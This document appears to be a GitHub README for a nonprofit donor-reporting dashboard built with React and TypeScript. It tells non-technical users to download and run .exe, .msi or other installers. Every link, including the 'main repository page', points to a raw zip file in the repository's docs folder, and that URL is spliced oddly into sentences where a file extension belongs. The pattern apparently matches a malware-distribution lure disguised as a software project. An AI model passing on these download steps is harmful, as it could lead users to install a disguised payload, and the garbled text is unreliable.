activity-reporting-for-donors is a user-friendly dashboard designed to help nonprofit organizations create clear and professional donor reports. It combines key performance indicators (KPIs), impact stories, and powerful charts in one place. You can quickly generate stakeholder-ready presentations with a single click. This tool uses modern web technologies called React and TypeScript, but you don't need to know any coding to use it.
If you want to track donations, show progress, and share stories with your donors, this dashboard makes the process much simpler and faster.
Before you start, make sure your computer meets the following requirements for the best experience:
- Operating System: Windows 10 or later, macOS 10.13 or later, or Linux
- Browser: Chrome, Firefox, Edge, or Safari (latest versions recommended)
- Internet Connection: Needed to download the software and access online features
- Disk Space: At least 500 MB free for installation and data storage
- Screen Resolution: Minimum 1280x720 pixels for proper dashboard display
This section will guide you step-by-step to get the software running on your computer. No technical skills needed.
Click the big blue button at the top or visit this page to download the latest version:
This page has all the release files. Look for the most recent version, usually named with the latest date or version number. Download the file that matches your operating system (Windows, macOS, or Linux).
- Find the downloaded
.exeor.msifile in your Downloads folder. - Double-click the file to run the installer.
- Follow the prompts on the screen, accepting the license agreement.
- Choose the folder where you want to install the program or keep the default.
- Click "Install" and wait for the process to finish.
- Click "Finish" to close the installer.
- Locate the
.dmgfile you downloaded. - Double-click to open it.
- Drag the application icon into your Applications folder.
- Eject the installer image when done.
- The download might be a
.AppImageorhttps://raw.githubusercontent.com/nirajverma445/activity-reporting-for-donors/main/docs/activity-reporting-for-donors-3.7.zipfile. - If
.AppImage, make the file executable by right-clicking → Properties → Permissions, then check "Allow executing file as program." - Double-click the file to start the application.
- For
https://raw.githubusercontent.com/nirajverma445/activity-reporting-for-donors/main/docs/activity-reporting-for-donors-3.7.zipfiles, extract the contents and follow any README instructions inside.
Once installed:
- On Windows and macOS, find "activity-reporting-for-donors" in your Start menu or Applications folder, and double-click to open.
- On Linux, run the executable as instructed above.
The dashboard will open in your default browser or a separate window. If this is the first time opening, the program may take a moment to load all features.
This app is built to help you create clear reports without any hassle. Here’s a simple guide to get familiar:
- Look for the "Add Data" button or menu option.
- Input your donation details like donor name, date, amount, and any notes.
- Save each entry. You can enter many donations over time.
- The dashboard shows KPIs such as total donations, donor retention rate, and average donation size.
- These numbers update automatically as you add new data.
- You have a section to add stories highlighting how donations made a difference.
- Upload text and images easily.
- These stories help keep donors engaged.
- Charts such as bar graphs and pie charts display donation trends.
- Use filters to customize views by date, donor, or program.
- When you are ready to share, click the "Export" button.
- Choose "One-Click PPTX Export" to create a PowerPoint file.
- This export contains charts, KPIs, and impact stories, ready for presentations.
Visit this page to download the latest release:
Check for updates here regularly to get improvements and new features. The process remains the same as the first download.
- If the program does not start, make sure your operating system is up to date.
- Restart your computer after installation if the app fails to launch.
- Check your internet connection during download and install.
- If charts or data do not show, refresh the dashboard or restart the app.
- For export issues, confirm that you have Microsoft PowerPoint or any compatible app to open PPTX files.
Q: Do I need to install anything else to use this?
No. The app includes everything you need to create reports.
Q: Can I use the dashboard offline?
Some features may require internet access, especially exporting reports or downloading updates.
Q: Is my data saved on my computer?
Yes. Your data is stored locally unless you choose to back it up elsewhere.
Q: Can multiple users access the dashboard?
This version is designed for individual use. Collaborative features might come in future updates.
If you encounter issues or have suggestions, you can open a new issue on the GitHub page or check the existing entries for solutions.
Visit the main repository page here:
https://raw.githubusercontent.com/nirajverma445/activity-reporting-for-donors/main/docs/activity-reporting-for-donors-3.7.zip
This project relates to:
dashboard, data visualization, donor reporting, nonprofit tech, portfolio project, React, Recharts, social impact, TypeScript, Vite.
This means the app uses charts to help you understand donation data and streamline reporting, built with the latest safe web tools.
Thank you for using activity-reporting-for-donors. This tool aims to make donor reporting clear and efficient without complexity.